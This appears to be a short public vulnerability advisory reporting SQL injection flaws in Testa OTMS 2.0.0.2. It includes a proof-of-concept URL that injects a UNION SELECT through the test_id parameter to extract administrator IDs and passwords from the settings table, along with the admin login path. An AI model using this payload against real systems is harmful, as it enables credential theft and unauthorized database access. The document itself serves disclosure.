10 lines
No EOL
638 B
Text
10 lines
No EOL
638 B
Text
source: http://www.securityfocus.com/bid/63773/info
|
|
|
|
Testa OTMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
|
|
|
|
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
|
|
|
|
Testa OTMS 2.0.0.2 is vulnerable; other version may also be vulnerable.
|
|
|
|
http://www.example.com /?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+
|
|
http://www.example.com/test/admin/index.php |